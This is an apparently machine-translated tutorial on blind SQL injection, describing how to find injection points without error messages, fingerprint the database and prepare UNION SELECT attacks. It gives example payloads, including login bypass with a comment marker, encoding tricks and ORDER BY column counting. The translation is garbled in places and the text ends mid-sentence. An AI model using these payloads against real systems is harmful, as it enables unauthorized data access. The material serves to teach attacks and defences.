SQL blind injection attacks

1 Overview1.1 General SQL Injection Technology OverviewCurrently, there is no standard definition of SQL injection technology. The Chinese technology center of Microsoft has described two aspects: [1]: (1) script injection attacks (2) malicious user input SQL scripts used to affect execution according to Chris Anley's Definition [2], when an attacker inserts a series of SQL statements into the query statement to write data to the application, this method can be defined as SQL injection. stephen Kost [3] presents another feature of this form of attack, "obtaining unauthorized access and direct retrieval from a database". In essence, SQL injection attacks are, it uses the SQL syntax to address vulnerabilities in application developer programming. "When attackers can manipulate data and insert some SQL statements into the application, an SQL injection attack occurs ". in fact, SQL injection is a common vulnerability in Multi-connection applications. Attackers can add additional SQL statement elements at the end of a pre-defined query statement in the application procedure, the database server is spoofed to execute any unauthorized queries. this type of Application is generally a Web Application, which allows users to enter query conditions and embed query conditions into SQL request statement coolswallow: SQL blind injection attack technology Overview 2, it is sent to the database server associated with the application for execution. by constructing malformed input, attackers can operate such request statements to obtain unknown results. in terms of risks, SQL injection attacks are at the forefront, basically equivalent to vulnerabilities such as buffer overflow. in addition, to implement a buffer overflow attack, attackers must first bypass the firewall of the site. For SQL injection attacks, the firewall allows users to access network applications, A forward connection from the Internet to the Web server must be allowed. Therefore, once the network application has an injection vulnerability, attackers can directly access the database and even obtain access to the server where the database is located, therefore, in some cases, the risk of SQL injection attacks is higher than that of all other vulnerabilities. SQL injection attacks use SQL syntax, which makes this attack extensive. theoretically, all database software based on SQL language standards, including SQL Server, Oracle, MySQL, DB2, Informix, and other network applications connected to it, including Active/Java Server Pages, cold Fusion Management, PHP, Perl, and so on are all effective. of course, various software have their own characteristics, and the actual attack code may be different. the principles of SQL injection attacks are relatively simple, and various database system-based applications are widely used. A large number of publications have been published to introduce Injection Vulnerabilities and utilization methods, in recent years, the number of SQL injection attacks has been increasing, and the forms of injection attacks have also been abused. for a detailed introduction to the common SQL Injection Technology for ms SQL Server, refer to the article "Advanced SQL Injection in SQL Server Applications" [2] prepared by Chris Anley and its subsequent article "more advanced SQL injection" [4], cesar Cerrundo's article "using SQL injection to manipulate Microsoft SQL Server" [5, and the White Paper "SQL Injection-Are your network applications under attack" written by Kevin Spett of the SPI lab [6]. The general SQL Injection Technology for Oracle is introduced, refer to Stephen Kost's article "SQL injection attacks against Oracle developers" [3.1.2 defense against SQL injection attacksAs more and more attacks use SQL injection technology, there are also many solutions to solve the injection vulnerability. currently, the proposed solutions include: (1) check the validity of the submitted data before the server officially processes the data; (2) encapsulate the client's submitted information; (3) replace or delete sensitive characters/strings; (4) block error messages. solution (1) is recognized as the most fundamental solution. The server rejects key processing operations before confirming that the client input is valid, however, this requires developers to be able to build network applications in a secure way. Although a large number of documents have been published concerning how to securely access the database during network application development, however, many developers still lack sufficient security awareness, resulting in injection vulnerabilities in the developed products. solution (2) requires the support of RDBMS. Currently, only Oracle uses this technology; solution (3) is an incomplete solution. For example, when the input of the client is "... Ccmdmcmdd... ", After the sensitive string" cmd "is replaced and deleted, the remaining characters are exactly "... Cmd... "; Solution (4) is currently the most commonly used method. Many security documents believe that SQL injection attacks need to collect information through error messages, some even claim that some special tasks cannot be completed without detailed error information, which leads many security experts to come up with the idea that injection attacks cannot be implemented without detailed errors. in fact, blocking error messages can be remedied after the server completes processing. An attack has actually occurred, but only attempts to prevent attackers from knowing the attack results. the SQL blind injection technology introduced in this article is a new technology used by some attackers. When error information is blocked, attackers can still obtain the required information and continue to carry out injection attacks.1.3 Structure of this ArticleTo understand blind injection attacks, we will first introduce the minimum server response required to determine the SQL injection vulnerability. Secondly, we will construct a syntax-compliant SQL request, it can be replaced with any valid SQL request. Finally, we will discuss how to use the union select statement without detailed error information. the blind injection attack discussed in this article is that we do not know anything about network applications, database types, table structures, and so on before the attack, this information must be obtained through the probe during the injection process. coolswallow: SQL blind injection attack technology overview 32. Determine the Injection VulnerabilityTo launch SQL injection attacks, first of all, confirm that the network application to be attacked has an injection vulnerability. Therefore, the attacker must first determine the types of prompts related to server errors. although the error message itself has been blocked, network applications still have the ability to distinguish between positive requests and error requests. Attackers only need to learn to identify these prompts and find related errors, check whether it is related to SQL.2.1 identify errorsA network application mainly produces two types of errors. The first is the code exception generated by the Web Server, which is similar to "500: Internal Server Error ", if SQL Injection statements have syntax errors, such as unclosed quotation marks, the server will throw such exceptions. if you want to block this type of error, the default error information is usually replaced with a pre-customized HTML page, but as long as you observe that such a response appears, it can be confirmed that a server error occurred. in other cases, to further block this type of errors, some servers simply jump to the home page or the previous accessed page when an exception occurs, or a simple error message is displayed, but no details are provided. the second type of errors is generated by application code, which indicates that its developers have good programming habits. this type of applications may cause some invalid situations and generate a specific error message. although this type of Error usually returns a valid response (200 OK) for the request, the page will still jump to the home page, or adopt a method to hide information, similar to "Internal Server Error ". to differentiate these two errors, let's look at an example: there are two e-commerce applications, A and B, both of which use the same name: proddetails. asp page, which is expected to obtain a parameter called ProdID. after obtaining this parameter, it extracts the corresponding product details from the database and then processes the returned results. both applications call proddetails through the link on the product list page. asp, so it can ensure that the ProdID always exists and is valid. application A believes that this will not cause problems, so no additional checks are performed on the parameters. If the attacker tampered with the ProdID and inserted an id that does not exist in the data table, the database returns an empty record. because application A did not expect that an empty record may occur, when it attempts to process the data in the record, it may encounter an exception, resulting in A "500: Internal Server Error ". application B will confirm that the record size exceeds 0 before processing the record. If the record is empty, an error will prompt "This product does not exist ", or, to hide the error, the developer relocates the page to the product list page. therefore, for SQL blind injection, attackers first try to submit invalid requests, observe how the application handles these errors, and what happens if an SQL error occurs.2.2 Locating ErrorWith a preliminary understanding of the application to be attacked, attackers will try to locate error messages produced by artificially constructed input. at this time, attackers will use standard SQL injection testing technology, such as adding some SQL keywords (such as OR, AND) AND some META characters (such as; OR & #39; ). each parameter is tested independently, and the obtained response is tested to determine whether an error has occurred. an intercepting proxy or similar tool can be used to easily identify page jumps and other predictable hidden errors, any parameter that returns an error may have the SQL injection vulnerability. in the process of testing each parameter separately, other parameters must be guaranteed to be valid because errors caused by any other possible causes except injection may affect the judgment result. the test result is generally a list of suspicious parameters. Some parameters in the list may indeed be injected and exploited. Other parameters may be caused by SQL-independent errors, therefore, it must be removed. next, the attacker needs to select the parameters from these parameters that actually have the injection vulnerability, which we call a definite injection point.2.3 determine the injection pointSQL fields can be divided into three main types: Numbers, character strings, and dates. although each type has its own characteristics, it has nothing to do with the injection process. each parameter submitted from a network application to an SQL query belongs to one of the preceding three types. The numeric parameter is directly submitted to the server, the string and date must be enclosed in quotation marks before being submitted. For example, select * FROM Products where ProdID = 4 and coolswallow: SQL blind injection technology Overview 4 select * FROM Products where ProdName = & #39; Book & #39; the SQL server does not care about what type of parameter expressions it receives, as long as the expression is of the relevant type. this feature allows attackers to easily confirm whether an error is related to SQL. for numeric type, the simplest solution is to use basic arithmetic operations, such as the following request:/mysite/proddetails. asp ProdID = 4 one way to test this parameter is to insert 4 & #39; as the parameter, the other is to use 3 + 1 as the parameter, if the two parameters have been directly submitted to the SQL request statement, the following two SQL request statements are formed: (1) select * FROM Products where ProdID = 4 & #39; (2) select * FROM Products where ProdID = 3 + 1 if the first SQL syntax is incorrect, an error is generated. If the second SQL statement is successfully executed, returns the same product information as the original request (I .e., ProdID equals 4), prompting that the parameter has an injection vulnerability. similar technologies can be used to replace this parameter with a string expression that conforms to the SQL syntax. There are two differences: first, the string expression is placed in quotation marks, so you need to block the quotation marks; second, different SQL Server connection strings have different syntaxes, for example, ms SQL Server uses symbols + to link strings, while Oracle uses symbols | to link. for example:/mysite/proddetails. asp ProdName = Book to test whether the ProdName parameter has an injection vulnerability, you can replace it with an invalid string, such as Book & #39 ;, then replace it with an expression that may generate the correct string, for example, B & #39; + & #39; ook (for Oracle, It is B & #39; | & #39; ook ). this will generate the following two SQL request statements: (1) select * FROM Products where ProdName = & #39; Book & #39; & #39; (2) select * FROM Products where ProdID = & #39; B & #39; + & #39; ook & #39; then the first one may still generate an SQL error, the second one may return the product with the same value as the original request for Book. even if the application has filtered out META characters such as & #39; and +, we can still convert the characters into URL encoding (namely, hexadecimal ASCII code) during input to bypass the check, for example:/mysite/proddetails. asp ProdID = 3 + 1 is equal to/mysite/proddetails. asp ProdID = 3% 2B1/mysite/proddetails. asp ProdID = B & #39; + & #39; ook is/mysite/proddetails. asp ProdID = B % 27% 2B % 27ook is similar. Any expression can be used to replace the original parameter. special system functions can also be used for submission to return a number, a string or a date. For example, sysdate in Oracle returns a date expression, while getdate () in SQL Server () returns the daily expression. other technologies can also be used to determine whether the SQL injection vulnerability exists. through the above introduction, we can find that, even if there is no detailed error information, it is still a very simple task for attackers to determine whether the SQL injection vulnerability exists.3. Inject attacksAfter determining the injection point, attackers need to try to inject and exploit it. This requires the attacker to determine the injection request expression conforming to the SQL syntax, determine the type of the background database, and then construct the necessary exploitation code.3.1 determine the correct injection syntaxThis is the most difficult and skillful step in SQL blind injection attacks. If the initial SQL request statement is very simple, it is relatively easy to determine the correct injection syntax, however, if the original SQL request statements are complex, it takes several attempts to break through the restrictions. However, the basic technology required for these attempts is very simple. the process of determining the basic syntax is through the standard select... Where statement. The injected parameter (that is, the injection point) is part of the where statement. to determine the correct syntax for injection, attackers must be able to add other data after the initial where statement so that it can return unexpected results. you can simply add OR 1 = 1 to some simple applications. However, in most cases, it is not enough to construct a successful exploitation code. the problem that often needs to be solved is how to pair the inserted symbol (parenthesis, such as coolswallow: brackets in five pairs in the SQL blind injection attack technology) so that it can match the previously used symbol, for example, the left parentheses match. another common problem is that a tampered request statement can cause other errors in the application. This error is often difficult to distinguish from an SQL error, for example, if an application can only process one record at a time, adding OR 1 = 1 after the request statement may cause the database to return 1000 records, and an error will occur. because the where statement is essentially a string of expressions with the true or fal se value connected by the OR, and or the inserted symbol, to determine the correct injection syntax, the key lies in whether the request statement can successfully break through the restriction of the inserted symbol and end smoothly. This requires multiple combined tests. for example, adding AND 1 = 2 can change the value of the entire expression to fal se, while adding OR 1 = 2 will not affect the value of the entire expression (unless the operator has a priority ). for some injection and exploitation, it is enough to change the where statement, but for other cases, such as union select injection or stored procedure injection, before you can add the SQL statements required by other attackers, you must end the entire SQL request statement smoothly. in this case, attackers can use the SQL annotation symbol to end a sentence. This symbol is two consecutive break signs (--), it requires SQL Server to ignore all input in the same row after it. for example, a visitor needs to enter the user name and Password on a logon page and submit it to the SQL request statement: select Username, UserID, Password FROM Users where Username = & #39; user & #39; AND Password = & #39; pass & #39; by entering john & #39; -- as the user name, the following where statement is constructed: where Username = & #39; john & #39; -- & #39; AND Password = & #39; pass & #39; at this time, this statement not only conforms to the SQL syntax, it also skips password authentication. however, if there is another where statement: where (Username = & #39; user & #39; AND Password = & #39; pass & #39 ;) note that there is a language symbol inserted here, and then use john & #39; -- as the user name, the request statement will be wrong: where (Username = & #39; john & #39; -- & amp; #39; AND Password = & amp; #39; pass & amp; #39;) This is because there are unpaired language symbols, AND the request statement will not be executed. this example shows that the annotation symbol can be used to determine whether the request statement is successfully ended. If the annotation symbol is added and no error is generated, this means that the statement before the annotation symbol has been successfully completed. if an error occurs, attackers need to try more requests.3.2 determine the Database TypeOnce the correct injection syntax is determined, the attacker starts to use injection to determine the type of the background database. This step is much easier than determining the injection syntax. attackers generally use the following techniques based on different database engines. the following describes how to distinguish between Oracle and ms SQL Server: the simplest method is to use the character string's link symbol, when the injection syntax has been determined, attackers can add additional expressions to the where statement freely, so that they can distinguish databases by comparing strings, for example, AND & #39; xxx & #39 ;=& #39; x & #39; + & #39; xx & #39; (or AND % 27xxx % 27 + % 3D + % 27x % 27 + % 2B + % 27xx % 27) by replacing + with |, you can determine whether the database is Oracle, ms SQL Server, or other types. the other method is to use the semicolon character (;). In SQL, the semicolon is used to connect several SQL statements to the same line. the semicolon can also be used in the injection code, but the Oracle driver does not allow the semicolon. if no error occurs when you use the annotator, adding a semicolon before the annotator will not affect ms SQL Server, But Oracle will generate an error. in addition, you can use the COMMIT statement to check whether other statements can be executed after the semicolon (for example, the injection Statement xxx & #39; COMMIT --), if no error occurs, you can think that multi-sentence execution is allowed. finally, the expression can be replaced with a system function that returns the correct value. Because different types of databases use different system functions, therefore, you can use system functions to determine the database type. For example, the date function getdate () of ms SQL Server and sysdate of Oracle mentioned in section 2.3.3.3 construct injection exploitation codeWhen all relevant information is obtained, attackers can start to inject and exploit the information, and no detailed error information is required during the construction of injection and exploitation code, you can refer to other documents describing standard SQL injection attacks to construct the code. coolswallow: SQL blind injection attack technology Overview 6 due to the use of common SQL injection, many other papers have been discussed in detail, therefore, this article will only introduce a union select injection in the next section.4 union select InjectionAlthough it has been tampered with by the select... The where statement injection is very effective for many applications, but in the case of blind injection, attackers are still willing to use the union select statement, because it is different from the operations performed by the where statement, using union select allows attackers to access all tables in the database without any error message. to perform union select injection, you need to know the number and type of fields in the database table in advance. However, such information is generally considered impossible without a detailed error message, however, the following describes how to solve the problem. in addition, it should be noted that the premise of performing the union select operation is that the attacker has determined the correct injection syntax. The previous section in this article has clarified that this can be implemented under the blind note condition, before using the union select statement, all the plug-in symbols in the SQL statement should have been paired, so that the union or other commands can be freely used for injection. union select also calculates that the current statement and the information queried by the initial statement must have the same number and data type. Otherwise, an error occurs.4.1 count the number of ColumnsWhen the error message is not blocked, to obtain the number of columns, you only need to use a different number of fields each time for union select injection, when the error message is changed from "mismatch of columns" to "mismatch of column types", the number of columns currently being tried is correct. however, in the case of blind injection, this method is ineffective because we cannot know which error message is used. the new method is to use the order by statement. Adding order by at the end of the select statement can change the ORDER of the returned record set, which is generally sorted BY the value of a specified column name. for example, when you query a product BY product number, a valid injection statement is as follows: select ProdNum FROM Products where (ProdID = 1234) order by ProdNum -- AND ProdName = & #39; computer & #39;) AND UserName = & #39; john & #39; what people often ignore is that after the order by statement, you can use numbers to refer to column names, in the above example, if ProdNum is the first column in the record returned BY the query request, inject 1234) order by 1 -- the returned results are the same. because only one field is returned in the query request in the preceding example, if 1234 is injected) order by 2 -- an error occurs, that is, the returned records cannot be sorted BY the specified second field. in this way, order by can be used to calculate the number of columns. because each select statement returns at least one field, attackers can add order by 1 in the injection syntax to determine whether the statement can be correctly executed, sometimes an error may occur when sorting fields. Adding the keyword ASC or DESC can solve this problem. once the order by syntax is determined to be valid, attackers will traverse the sequence number from Column 1 to column 100 (or to column 1000 until the column number is determined to be invalid ), theoretically, when the first error occurs, the first column number is the number of columns to be counted. However, in actual conditions, some fields may not be sorted, when the first error occurs, you can try one or two more numbers to confirm that the column number has been traversed.4.2 determine the Data Type of a columnAfter counting the number of columns, attackers need to determine the Data Type of the column. In blind injection, the judgment type is also skillful. Because union select requires that the fields queried by the query statements are of the same type, therefore, if the number of fields is limited, you can simply use the union select statement to perform brute force (brute force) on the field type. However, if the number of fields is large, a problem may occur. according to the previous article, the field type only has three possible types: Numbers, strings, and dates. Once there are 10 fields, it means there are 310 (about 60,000) possible combinations, assuming that 20 attempts can be made automatically every second, it may take nearly an hour to perform the same operation. If there are more fields, the testing time will be unbearable. A simple method is to use the SQL keyword NULL, which is different from the static field injection to the numeric or character type. NULL can match any data type. therefore, you can inject a union select statement where all query fields are NULL, so that no Type Mismatch Error will occur. let's take another example similar to the previous one: select ProdNum, ProdType, ProdPrice, ProdProvider FROM Products where (ProdID = 1234 AND ProdName = & #39; Computer & #39 ;) AND UserName = & #39; john & #39; coolswallow: SQL blind injection attack technology OVERVIEW 7. Assume that the attacker has obtained the number of columns (4 in this example ), then we can easily construct a union select statement, where all the query fields are NULL. We also need to construct a statement that will not generate